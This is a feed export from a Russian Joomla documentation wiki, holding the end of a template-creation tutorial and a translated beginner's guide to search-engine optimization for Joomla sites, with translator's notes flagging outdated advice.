* ''IMAGE_FILENAME'' - имена всех картинок, которые вы использовали в вашем шаблоне (не две, а столько, сколько надо). Вы должны перечислить все картинки, лежащие в папке '''images'''. Убедитесь, что вы переписали их имена правильно. &lt;br /&gt;
&lt;br /&gt;
Теперь ваш XML-файл должен выглядеть примерно так:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Syn.png]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Сохраните этот файл под именем '''templateDetails.xml''' и скопируйте в корневую директорию папки вашего нового шаблона. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Xmldirectory.png]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== 11. Создайте превьюшку шаблона ===&lt;br /&gt;
Это уменьшенная копия снимка экрана, которая позволяет рассмотреть шаблон, не устанавливая его. Если вы хотите распространять ваш шаблон, настоятельно рекомендуется создать такое изображение. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Thumbnailpreview.png]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для того, что бы создать его сделайте скриншот шаблона, созданного ранее (html-макет). Сожмите его до размера в 200 на 200 пикселей и сохраните под именем '''template_thumbnail.png''' в директорию вашего шаблона. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Thumbnaildir.png]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Однако можно использовать и чистую белую картинку, пока вы еще только делаете шаблон. Скриншот можно создать и после создания шаблона. &lt;br /&gt;
&lt;br /&gt;
Если вы не хотите использовать расширение PNG (например хотите сохранить его в формате GIF), убедитесь что вы так же поменяли это название и в файле '''templateDetails.xml'''.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 12. Сделайте обзор структуры директорий ===&lt;br /&gt;
Пришло время сделать такой обзор. Убедитесь, что все файлы лежат в соответствующих директориях, дважды проверьте свой XML-файл. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Reviewdir.png]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 13. Заархивируте его в ZIP ===&lt;br /&gt;
Все почти готово. Заархивируйте в '''ZIP-формат''' (''НЕ RAR'') всю директорию с шаблоном. Переименуйте архив, например в '''template_name.zip'''. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 14. Установите ===&lt;br /&gt;
Пришло время протестировать наш шаблон:&lt;br /&gt;
* Войдите в админку&lt;br /&gt;
* Выберите в меню: '''Сайт''' (Site) - '''Шаблоны сайта''' (Template Manager) - '''Шаблоны''' (Templates)&lt;br /&gt;
* Нажмите '''Новый''' (New)&lt;br /&gt;
* Выберите файл с локального компьютера (ваш архив, созданный на предыдущем шаге)&lt;br /&gt;
* Нажмите '''Загрузить и установить''' (Upload File &amp;amp; Install)&lt;br /&gt;
* Если все прошло хорошо - вам об этом сообщат&lt;br /&gt;
* Далее выберите ваш новый шаблон в списке (радио-кнопка слева) и нажмите '''Присвоить''' (Assign)&lt;br /&gt;
&lt;br /&gt;
Далее зайдите на ваш сайт и рассмотрите свой шаблон. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== 15. Последние штрихи ===&lt;br /&gt;
После установки шаблона вы возможно захотите внести небольшие правки в шаблон - в '''index.php''' или '''template_css.css'''. В менеджере шаблонов вы можете отредактировать оба файла. &lt;br /&gt;
&lt;br /&gt;
Вы могли создать позиции модулей с именами, которых нет в Joomla. Например, вы создали позицию с именем '''my_module''':&lt;br /&gt;
&amp;lt;php&amp;gt;&amp;lt;?php mosLoadModules ( 'my_module' ); ?&amp;gt;&amp;lt;/php&amp;gt;&lt;br /&gt;
Если это случилось, то вам надо определить данную позицию в конфигурации Joomla:&lt;br /&gt;
* Войдите в админку и выберите в меню: '''Сайт''' (Site) - '''Шаблоны сайта''' (Template Manager) - '''Позиции модулей''' (Module Positions)&lt;br /&gt;
* Выберите любой пустой элемент ввода имени и введите туда &amp;quot;my_module&amp;quot;&lt;br /&gt;
* Нажмите '''Сохранить''' (Save)&lt;br /&gt;
&lt;br /&gt;
[[Изображение:Templatemymodule.png|center|Позиции модулей Joomla]]&lt;br /&gt;
&lt;br /&gt;
Теперь вы можете заняться модулями и пунктами меню. Это моя самая любимая часть разработки шаблона.&lt;br /&gt;
&lt;br /&gt;
=== 16. Конец ===&lt;br /&gt;
Данное руководство заняло у меня достаточно много времени, но я буду рад, если хоть чем-то помог вам. Будьте свободны в ваших комментариях об этой статье. Если у вас есть поправки или предложения - выйдите на контакт со мной. Если вы разработате шаблон при помощи этого руководства, вы можете послать мне адрес вашего сайта, я буду рад насладиться своими трудами. Спасибо за терпение при чтении данного руководства. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
''Данная статья представляет собой частичный перевод руководства ([http://www.chette.com/main/content/view/111/ 1], [http://www.chette.com/main/content/view/113/ 2], [http://www.chette.com/main/content/view/122/ 3]) расположенного на сайте [http://www.chette.com/ Chette.Com]''&lt;br /&gt;
&lt;br /&gt;
[[Категория:Создание шаблона Joomla]]&lt;/div&gt;</summary>
		<author><name>Dead Krolik</name></author>	</entry>

	<entry>
		<id>http://www.joomla-docs.ru/Joomla_SEO_book</id>
		<title>Joomla SEO book</title>
		<link rel="alternate" type="text/html" href="http://www.joomla-docs.ru/Joomla_SEO_book"/>
				<updated>2007-05-28T18:55:48Z</updated>
		
		<summary type="html">&lt;p&gt;Sourpuss: /* 6. Какая плотность ключевых слов самая правильная? */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;'''Небольшое пособие по поисковой оптимизации Joomla (SEO Joomla)'''&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;''О том, как сделать Joomla-сайт оптимизированным для поисковиков''&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;[[Изображение:Joomla seo book.jpg]]&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Введение ===&lt;br /&gt;
==== Почему я пишу эту книгу? ====&lt;br /&gt;
Я пишу ее потому, что считаю Joomla очень хорошей CMS с открытым кодом и что люди, которые ее внедряют, должны знать и использовать все ее преимущества. Если вы будете выполнять все рекомендации, то позиции вашего сайта в поисковых системах должны несомненно вырасти.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Что вы найдете здесь? ====&lt;br /&gt;
Я надеюсь, что в данном руководстве вы найдете ответы на следующие вопросы:&lt;br /&gt;
* Как сделать Joomla более дружественной для поисковиков&lt;br /&gt;
* Как вообще оптимизировать Joomla&lt;br /&gt;
* Что конкретно нужно сделать, для более высоких позиций в поисковиках&lt;br /&gt;
И если я это сделаю, я буду счастлив :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Почему эта книга свободно распространяется? ====&lt;br /&gt;
Потому что я люблю помогать людям, распространяя мои познания в этой тематике. И еще потому, что я хочу раскрутить свой сайт написав эту книгу, я хочу что бы вы посетили его и нашли еще больше информации по Joomla и SEO.&lt;br /&gt;
&lt;br /&gt;
''На русскоязычных халявщиков это не распространяется, перевод книги принадлежит владельцам сайта Joom.Ru. С самой книгой вы конечно же можете делать то, что разрешает ее автор''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Вы можете гарантировать высокии позиции моего сайта? ====&lt;br /&gt;
Ответ простой - '''нет'''. Никто не может. И если кто-то говорит вам, что он ''гарантирует'' топ в гугле, бегите и прячьтесь от него, они хотят ваши деньги, все деньги.&lt;br /&gt;
&lt;br /&gt;
==== Как скоро я увижу результаты от моих усилий? ====&lt;br /&gt;
Это зависит от множества факторов, на которые вы не можете повлиять. Поисковые системы сначала должны проиндексировать ваш сайт и выдать их при запросе ключевого слова. Все зависит, например, от конкуренции за это ключевое слово.&lt;br /&gt;
&lt;br /&gt;
Иногда результаты видно через месяц, иногда через три, иногда через год ... Одно лишь известно - если не начать сейчас, это продлится еще дольше. Итак, чего же мы ждем!&lt;br /&gt;
&lt;br /&gt;
'''За работу!'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Часть 1. Основы оптимизации сайта на Joomla и не только ===&lt;br /&gt;
==== 10 ключевых SEO факторов для ранга страниц ====&lt;br /&gt;
# Ключевые слова&lt;br /&gt;
# Тайтлы (title, заголовки)&lt;br /&gt;
# Контент (содержимое)&lt;br /&gt;
# Заголовки (в смысле H1 .. H6)&lt;br /&gt;
# Жирный текст и курсив&lt;br /&gt;
# Плотность ключевых слов&lt;br /&gt;
# Alt-тэги у картинок&lt;br /&gt;
# Мета-тэги&lt;br /&gt;
# Внутренняя перелинковка&lt;br /&gt;
# Внешние ссылки&lt;br /&gt;
&lt;br /&gt;
(''примечание переводчика - я буду использовать не русскоязычные заменители английских слов, а именно жаргон, вроде слова &amp;quot;тайтл&amp;quot; или &amp;quot;контент&amp;quot;, это удобно, потому что читая другие статьи вы не будете путаться в терминах и отгадывать а что же я тут имею в виду'')&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 1. Изучите ваши ключевые слова =====&lt;br /&gt;
Вы должны знать что люди будут искать и что они ищут, и это может совсем не совпадать с тем, как вы себе это представляете. Используйте эти ссылки для того, что бы узнать популярность ключевого слова и то, какие же слова ищут вместе с ним:&lt;br /&gt;
* [https://adwords.google.nl/select/KeywordToolExternal Google]&lt;br /&gt;
* [http://direct.yandex.ru/stat/wordsstat.pl?rpt=ppc&amp;amp;shw=1 Yandex]&lt;br /&gt;
Обязательно разберитесь в этих вещах. Ключевые слова это именно то, почему люди будут приходить на ваш сайт с поисковиков. А для современных сайтов это как правило 50 и более процентов посетителей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 2. Создавайте хорошие заголовки (title) =====&lt;br /&gt;
Итак, вы уже имеете список ключевых слов, по которым вы хотите что бы люди находили ваш сайт. Используйте эти ключевые слова в заголовке страницы, в html этот тэг называется TITLE: &amp;lt;html4strict&amp;gt;&amp;lt;title&amp;gt;заголовок&amp;lt;/title&amp;gt;&amp;lt;/html4strict&amp;gt;Но делайте это правильно. Создавайте тайтлы, которые будут работать. &lt;br /&gt;
&lt;br /&gt;
Например, тайтл &amp;quot;'''Шаблоны для вашего Joomla-сайта'''&amp;quot; будет иметь меньший ранк в поисковой системе, чем &amp;quot;Бесплатные Joomla-шаблоны - скачайте лучшие здесь&amp;quot;. Если вы увидите одновременно два таких тайтла в выдаче - на какой из них вы нажмете? &lt;br /&gt;
&lt;br /&gt;
Но не переусердствуйте, лучше написать нормальную ''читаемую'' фразу, это даст больший отклик пользователей, на вас сильнее захотят нажимать. Создание заголовков, как ни странно, это тоже искусство, заголовок должен быть таким, что бы заинтересовать пользователя, что бы он захотел зайти и прочитать то, что вы ему предлагаете.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 3. Создавайте качественный контент =====&lt;br /&gt;
Делайте сайт таким, что бы люди захотели возвратиться на него и снова читать ваши статьи. Пишите так, что бы это было интересно. Будет замечательно, если они добавят его в свои закладки или разместят ссылку на него в сервисе социальных закладок, таком как Digg (для России аналогом такого сервиса является [http://www.bobrdobr.ru/ BobrDobr]). &lt;br /&gt;
&lt;br /&gt;
Показателем '''качества''' статьи является то - возвращается ли пользователь снова к поиску после прочтения вашей страницы или нет, по тому ключевому слову, которое он запросил в поисковой системе. &lt;br /&gt;
&lt;br /&gt;
'''Запомните''', люди не читают всю страницу полностью, когда они попадают на нее. Они '''сканируют''' ее для того, что бы определить содержит ли она требуемую им информацию или нет. Делайте ваши странички &amp;quot;скано-пригодными&amp;quot;, с не длинными параграфами, с расстоянием между ними, если это делает страницу более удобной для чтения. &lt;br /&gt;
&lt;br /&gt;
Используйте '''нумерованные списки''', если вы хотите выдать действительно список, например, возможностей продукта. Такие списки позволяют более быстро ориентироваться в секциях и частях статьи. &lt;br /&gt;
&lt;br /&gt;
Старайтесь делать статьи, которые полностью влезают в '''один''' экран. Если они превышают этот размер, то возможно стоит подумать о разбиении их на страницы, что бы люди всегда могли нажать на специальную ссылку &amp;quot;Вперед&amp;quot; или &amp;quot;Назад&amp;quot; внизу каждой страницы. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 4. Создавайте хорошие заголовки =====&lt;br /&gt;
Под заголовками здесь понимается текст, заключенный между H-тэгами языка HTML:&lt;br /&gt;
&amp;lt;html4strict&amp;gt;&amp;lt;h1&amp;gt;заголовок статьи&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;заголовок раздела&amp;lt;/h2&amp;gt;&amp;lt;/html4strict&amp;gt;&lt;br /&gt;
Для поисковых систем, индексирующих ваш сайт, этот тэг означает то, что эта информация '''очень''' важна. И словам, размещенным внутри этих тэгов дается больший вес. &lt;br /&gt;
&lt;br /&gt;
Убедитесь, что ваши ключевые слова находятся в этих тэгах, большинство современных WYSIWYG-редакторов позволяют легко вставлять такие заголовки.&lt;br /&gt;
&lt;br /&gt;
'''Опасайтесь''' переусердствовать с этими тэгами. Если их много, то вы наоборот получите пенальти, а не поощрение от поисковой системы. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 5. Используйте жирный шрифт и курсив =====&lt;br /&gt;
Использование '''жирного шрифта''' и ''курсива'' это тоже сигнал для поисковой системы, что этот текст важен и что ему нужно отдать некоторый приоритет над всем остальным текстом. Посмотрите на другие, хорошие сайты как пример. Большинство из них наверняка используют эти приемы для выделения ключевых слов. Вы тоже должны их использовать.&lt;br /&gt;
&lt;br /&gt;
Вы уже знаете, что люди '''сканируют''' страницы. Убедитесь, что вы поймаете их взгляд на нужных местах, если они выделены жирным шрифтом, для того, что бы они могли легко увидеть о чем же ваш сайт и сразу перейти к интересующей их секции.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 6. Какая плотность ключевых слов самая правильная? =====&lt;br /&gt;
Это сложный вопрос. Правильная плотность ключевых слов - это то, что вы должны подбирать то количество употреблений слов на странице, относительно общемего количества слов.&lt;br /&gt;
&lt;br /&gt;
Предположим, что вы написали ключевое слово '''шаблоны Joomla''' 20 раз на странице, которая имеет всего 400 слов, без учета стоп-слов. Далее мы делим 20/400 = 5%. Если вы сделаете тоже самое на странице с сотней слов, вы получите 20/100 = 20%. И вы попали! С такой плотностью поисковая машина скорее всего будет рассматривать ваш текст как '''спам'''. И выдаст вам пенальти. Поэтому пытайтесь сохранять плотность примерно слов между пределами в 2% и 8%, некоторые оптимизаторы оценивают вторую планку даже более низко - 5% максимум. Но не тратьте слишком много времени на это, просто знайте, что это тоже важно. &lt;br /&gt;
&lt;br /&gt;
И все же, пытайтесь писать ваши тексты нормально, как будто вы действительно хотите кому-то рассказать об объекте статьи. Затем прочитайте заново и посмотрите - не слишком ли сильно или слабо выделено ключевое слово в количественном выражении. Перепишите его так, что бы оно звучало '''обычно'''. Но пишите статьи '''для людей''', а не для поисковых ботов.&lt;br /&gt;
&lt;br /&gt;
'''ОСТОРОЖНО!!! Выше - устаревшая информация!''' Если на одной странице вы в неизменном виде упомянете 20 раз фразу '''шаблоны Joomla''' (плотность 5%), то скорее всего Яндекс вас накажет. Количество прямых вхождений (ключевая фраза в неизменном виде) должно быть не больше, чем у конкурентов из ТОП 10 по этому же запросу. Может в некоторых случаях и надо будет повторять фразу 20 раз, но для НЧ-запросов (низкочастотные запросы) часто достаточно 1-4 раз. &lt;br /&gt;
Однако, по отдельности слова '''шаблоны''' и '''Joomla''' могут иметь плотность 5%. Так же ничего страшного не будет, если вы вставите во фразу другое слово, и вообще замечательно будет, если употребите фразу в другом склонении, падеже. Пример: '''шаблонов Joomla''', '''шаблонами Joomla''', '''шаблоны CMS Joomla''' и т.п.  Что из этого следует - не стоит пытаться выдержать плотность фраз, просто пишите доступным, естественным языком. В большинстве случаев это будет достаточно для продвижения по НЧ и СЧ запросам. '' (Примечание --[[Участник:Sourpuss|sourpuss]] 23:16, 5 июля 2010 (MSD) )''&lt;br /&gt;
&lt;br /&gt;
===== 7. Используйте Alt-атрибуты в картинках =====&lt;br /&gt;
'''Alt'''-атрибуты это давно известное, но редко используемое свойство у изображений. Если вы используете картинки в статьях, убедитесь, что у вас всегда есть данный атрибут. &lt;br /&gt;
&lt;br /&gt;
Текст в данном атрибуте показывается вместо картинки, если пользователь их отключил или использует текстовый браузер. Они всегда появляются, если вы наводите на картинку мышкой. Делайте так, что бы данный текст влезал в ширину страницы и не выходил за ее пределы. Например, если вы вставляете картинку шаблона, то текст должен быть примерно таким '''Пример Joomla-шаблона''', а для кнопки загрузки '''Скачать бесплатный Joomla-шаблон здесь'''.&lt;br /&gt;
&lt;br /&gt;
Если это возможно, то постарайтесь использовать так же и '''Title'''-атрибут у изображения. В исходном коде это будет выглядеть примерно так:&lt;br /&gt;
&amp;lt;html4strict&amp;gt;&amp;lt;IMG SRC=&amp;quot;joomla-template.jpg&amp;quot; WIDTH=&amp;quot;140&amp;quot; HEIGHT=&amp;quot;100&amp;quot; ALT=&amp;quot;Пример Joomla-шаблона&amp;quot; TITLE=&amp;quot;Joomla-шаблон&amp;quot; /&amp;gt;&amp;lt;/html4strict&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Вы можете и не видеть этот текст, но он не скрыт от поисковых систем, они будут обязательно читать его. &lt;br /&gt;
&lt;br /&gt;
Если вы используете картинки, то убедитесь, что вы используете релевантные ключевые слова в названии картинки. В примере выше изображение называлось &amp;quot;joomla-template.jpg&amp;quot;. Люди все чаще и чаще ищут изображения через специальные сервисы поисковых машин, и последовав этому совету, вы сможете привести их на ваш сайт.&lt;br /&gt;
&lt;br /&gt;
Если картинка является ссылкой, то Alt-текст будет иметь больший вес, чем если бы это была просто картинка.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 8. Использовать мета-тэги или нет =====&lt;br /&gt;
Должны ли вы заполнять мета-тэги '''Description''' или '''Keywords''' или нет? Некоторые полагают, что это бесполезная трата времени. &lt;br /&gt;
&lt;br /&gt;
Я же говорю вам что это не бесполезно. Заполняйте их на каждой странице и думайте об их содержании. ''(прим. переводчика - а зря он кстати говорит так, если уж и заполнять, то это Description, да и то, только для того, что бы снипы при выдаче были покрасивее (но Description это отнюдь не весь снип), но что скорее всего не стоит для каждой страницы заполнять их, делать уникальными, хватит и одного, на весь сайт. О Keywords вообще не говорю, никто кроме допотопного рамблера на него не обращает внимания)''&lt;br /&gt;
&lt;br /&gt;
Вы должны использовать ключевые слова, что бы описать вашу страницу в тэге '''Keywords'''. Это не поможет при ранжировании в Google, но поможет для других поисковых систем, таких как MSN(Live) или Yahoo. &lt;br /&gt;
&lt;br /&gt;
А что же насчет тэга '''Description'''? А вот он действительно важен, поисковые системы, даже Google будут использовать их, если не могут использовать сам контент страницы. Поэтому подумайте над тем, что бы выбрать текст описания, в нем вы должны немножко порекламировать вашу страницу. &lt;br /&gt;
&lt;br /&gt;
Попытайтесь поискать что-нибудь в Google и проанализируйте то, почему вы нажмете на какую-либо ссылку. Ведь вы сначала читаете заголовок, а затем вы читаете ... правильно, описание найденной страницы. А в нем может быть тэг '''Description'''.&lt;br /&gt;
&lt;br /&gt;
Составляйте данные тэги уже '''после того''' как вы написали контент. Вам будет легче сделать обзор страницы, и вы уже будете знать какие же ключевые слова вы использовали в ней. &lt;br /&gt;
&lt;br /&gt;
Пример таких тэгов приведен ниже:&lt;br /&gt;
&amp;lt;html4strict&amp;gt;&amp;lt;meta name=&amp;quot;keywords&amp;quot; content=&amp;quot;слоны, зоопарк, звери, кенгуру, слонопотамы&amp;quot; /&amp;gt;&lt;br /&gt;
&amp;lt;meta name=&amp;quot;description&amp;quot; content=&amp;quot;Зоопарк.ру - все о слонах и их разведении&amp;quot; /&amp;gt;&amp;lt;/html4strict&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 9. Внутренняя перелинковка =====&lt;br /&gt;
У всех внутренних ссылок вы имеете возможность делать свои тайтлы (''прим. переводчика - это я назвал это тайтлами, просто что бы удобнее было называть, на самом деле можно называть это как угодно, главное понимать что это текст, которые находится между тэгами A''). Это и называется внутренняя перелинковка. &lt;br /&gt;
&lt;br /&gt;
Это не так важно, как внешние ссылки, но это то, что вы можете контролировать лучше, чем все остальное. Заставьте ссылки работать для вас, не делайте ваши ссылки из графических элементов, или например, не используйте фразы, вроде &amp;quot;нажмите здесь&amp;quot;, это не даст вам ничего ...&lt;br /&gt;
&lt;br /&gt;
Намного лучше, если вы будете использовать такие &amp;quot;'''Joomla SEO - оптимизация сайта на Joom.Ru'''&amp;quot;, теперь вы видите, что все ключевые слова находятся в тайтле.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html4strict&amp;gt;&amp;lt;a href='ссылка'&amp;gt;тайтл&amp;lt;/a&amp;gt;&amp;lt;/html4strict&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Поэтому используйте либо ключевые слова, либо заголовок страницы, на которую вы ссылаетесь.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 10. Внешние ссылки =====&lt;br /&gt;
Внешние ссылки это как реклама для вашего сайта, каждый хочет заполучить как можно больше ссылок на сайт. &lt;br /&gt;
&lt;br /&gt;
Google дает вам более высокий ранг, если у вас много входящих ссылок. Но есть одно '''НО''' ... Если эта ссылка стоит в плохом окружении, вы не получите увеличения ранга, даже наоборот, вы потеряете его. &lt;br /&gt;
&lt;br /&gt;
Линкопомойки (засранные каталоги), сайты с более низким PR чем ваш, сайты с несовпадающей с вами тематикой и ссылающиеся на вас ... они тянут вас вниз, вместо того, что бы поднимать ваш ранг. &lt;br /&gt;
&lt;br /&gt;
Постарайтесь найти сайты, которые наиболее близко подходят к вашей тематике, возможно не совсем точно, но тематика должна быть связана. И попытайтесь обменяться ссылками с ними. Дайте им ваш тайтл для ссылки и поставьте ссылку на них, такую какую захотят они. &lt;br /&gt;
&lt;br /&gt;
Соберите в ссылке наиболее важные ключевые слова! Большинство веб-мастеров просят, например такую ссылку &amp;quot;http://joom.ru&amp;quot;. Как вы думаете - это много вам даст? Нет, это не даст ничего. Потому что люди, которые смотрят на ссылку увидят лишь ваш домен, а тайтл &amp;quot;Русский Дом Joomla&amp;quot; принесет больше посетителей на ваш сайт, потому что они будут знать о чем этот сайт.&lt;br /&gt;
&lt;br /&gt;
Попытайтесь зарегистрироваться в Dmoz-каталоге, который имеет репутацию каталога, в который трудно попасть (для России можно попробовать Яндекс-каталог). Туда трудно попасть, потому что реальные люди, редакторы смотрят на ваш сайт и решают достаточно ли он хорош, что бы его можно было взять. Google Directory использует базу данных этого каталога, и иногда использует их описание как описание вашего сайта. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Часть 2. Основы оптимизации Joomla-сайта ===&lt;br /&gt;
==== Основные технические требования ====&lt;br /&gt;
Первая вещь, которая нам нужна - это ЧПУ - Человеко Понятные Урлы (SEF, FURL и другие синонимы). Это значит, что адреса содержат ключевые слова. Это повысит ранг страницы в поисковой машине и возможно посетитель сможет запомнить его (''хаха - прим. переводчика'').&lt;br /&gt;
&lt;br /&gt;
''Прим. переводчика - все это применимо лишь для буржуйского интернета. У нас данная тема чаще всего заканчивается транслитерацией адресов. Потому что реально, писать красивые адреса на кириллице умеет только опера, плюс FF c плагином. А нормально их индексирует только Google. Поэтому говорить о том, что это жизненно важно для русскоязычных сайтов не приходится. Исключение составляют те сайты, в которых ключевые слова это англоязычные названия, такие как siemens или sony. В данном случае все это действительно важно.''&lt;br /&gt;
&lt;br /&gt;
Т.е. ссылка вроде:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/index.php?option=com_content&amp;amp;task=blogsection&amp;amp;id=0&amp;amp;Itemid=9&amp;lt;/pre&amp;gt;&lt;br /&gt;
Превратится в ссылку:&lt;br /&gt;
&amp;lt;pre&amp;gt;http://www.example.com/news/new-seo-build-page.html&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для того, что бы это заработало в Joomla вы должны сделать одну из двух вещей:&lt;br /&gt;
* Использовать стандартный SEF&lt;br /&gt;
* Установить сторонний SEF компонент&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Стандартный SEF ====&lt;br /&gt;
Вам необходимо, что бы платформой, на которой работает Joomla был Apache с включенным mod_rewrite. Вы можете проверить это зайдя в админку и просмотрев системную информацию и информацию о PHP. Пролистайте вниз, пока не увидите секцию про включенные модули Apache. Если вы еще сомневаетесь, то спросите это у вашей хостинговой компании. &lt;br /&gt;
&lt;br /&gt;
О том как включать SEF написано в [[FAQ по Joomla]].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Сторонний SEF-компонент ====&lt;br /&gt;
Например, '''OpenSEF''' - я обожаю этот компонент. Так же существуют и другие компоненты:&lt;br /&gt;
* SEF Advanced (коммерческий)&lt;br /&gt;
* JoomSEF&lt;br /&gt;
* RomoSef&lt;br /&gt;
&lt;br /&gt;
И все они работают по-разному. Я пробовал их все и пришел к выводу, что наиболее хорошо для меня подходит OpenSEF. &lt;br /&gt;
&lt;br /&gt;
После установки OpenSEF зайдите в его конфигурацию и настройте структуру адреса ссылки, и выберите тип &amp;quot;/Категория/Заголовок&amp;quot;. Теперь в ваших адресах будет содержаться заголовок категории и заголовок материала. Если вы будете использовать внутри ссылки секцию, то как мне кажется адрес будет слишком длинным. А теперь сохраните настройки и измените то, что необходимо в файле .htaccess (что и как менять написано в нем самом). &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Joomla SEF-патч ====&lt;br /&gt;
После включения SEF-урлов вы должны выполниить следующий шаг - поставить патч для большей дружелюбности Joomla для поисковиков. От вас требуется скачать архив с патчем и скопировать его поверх вашего дистрибутива на хостинге. Данный патч делает следующие вещи:&lt;br /&gt;
* Делает заголовки более лучшими&lt;br /&gt;
* Корректирует тайтлы и мета-тэги для пунктов меню&lt;br /&gt;
* Дает больший контроль над мета-тэгами&lt;br /&gt;
* Немного оптимизирует robots.txt&lt;br /&gt;
* ...[http://forum.joom.ru/index.php?topic=6985.0 подробная информация о SEO-патче]&lt;br /&gt;
&lt;br /&gt;
[http://forum.joom.ru/index.php?topic=6985.0 Скачать SEO-патч для Joomla 1.0.12 RE]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Карта сайта ====&lt;br /&gt;
Каждый сайт должен иметь карту. Поисковые машины любят такие страницы, потому что они дают ссылки на весь контент вашего сайта. Не путайте карту сайта с Google-картой сайта. &lt;br /&gt;
&lt;br /&gt;
В качестве компонента карты сайта можно использовать Joomap (''Joom.Ru рекомендует использовать SEF Service Map - прим. переводчика''). Установите его и создайте ссылку в меню на этот компонент. Вы можете изменять вид странички, которую генерирует этот компонент при помощи CSS. Так же он может создавать карту сайта для Google.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Google-карта сайта ====&lt;br /&gt;
Это специальный файл, который содержит информацию о каждой страничке сайта в специальном формате. Файл основан на XML-формате и предназначен только для чтения его Google-поисковиком. На момент написания MSN тоже поддержала данный формат. Его структуру(протокол) вы можете найти [http://www.sitemaps.org/protocol.php здесь].&lt;br /&gt;
&lt;br /&gt;
А создавать его можно при помощи того же OpenSEF, который сделает его из данных хранящихся в его таблицах адресов. &lt;br /&gt;
&lt;br /&gt;
После создания карты зайдите (или зарегистрируйтесь) в [https://www.google.com/accounts/ManageAccount панели вебмастеров Google]. И зайдите в Webmaster Tools. Если у вас есть Gmail-аккаунт, то вы можете его использовать.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Оптимизация шаблона Joomla ====&lt;br /&gt;
Возможно вы нашли шаблон, основанный на flash-анимации и использующий Javascript для того, что бы показывать красивые выпадающие меню. Попытайтесь сначала проанализировать исходный код шаблона. Думайте как поисковик и попытайтесь поразмышлять над тем - смогут ли поисковые машины вообще добраться до контента. Если сторонних элементов, таких как flash, изображения, скрипты очень много, то поисковики не смогут дойти до него или проиндексировать его корректно. &lt;br /&gt;
&lt;br /&gt;
Текстовые меню (ссылки с anchor-текстом) имеют больший вес, чем ссылки-картинки, а flash-меню - вообще тормоз индексации, хотя большинство поисковых систем и заявляют о поддержке флэш. Если уж очень хочется сделать графическое меню, то постарайтесь прописать у картинок атрибут Alt. &lt;br /&gt;
&lt;br /&gt;
Используя javascript-меню (типа SWMenu), знайте, что поисковиками оно индексироваться не будет. Поэтому потрудитесь поставить на Joomla-сайт карту сайта, либо, по возможности, продублировать меню внизу простым текстовым меню.&lt;br /&gt;
&lt;br /&gt;
Когда на странице есть javacsript- и css-код, то они отдаляют полезный индексируемый текст от начала страницы. Выход из положения - вынести весь код во внешние файлы, а на страницах оставить лишь ссылки на них. Разработчики расширений Joomla вряд ли будут заботиться об этом, об этом должны позаботиться вы сами.&lt;br /&gt;
&lt;br /&gt;
Если вы ищете Joomla шаблон, то у вас есть следующие альтернативы:&lt;br /&gt;
* Скачать бесплатный шаблон&lt;br /&gt;
* Купить шаблон&lt;br /&gt;
* Сделать самому на основе бесплатного&lt;br /&gt;
&lt;br /&gt;
Выбор пути зависит от вашего бюджета. Но, все зависит от того, что вам нужно и чего вы хотите. В любом случае шаблон, основанный на DIV'ах для поисковиков будет гораздо привлекательнее, чем шаблон на таблицах. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Все готово для начала ===&lt;br /&gt;
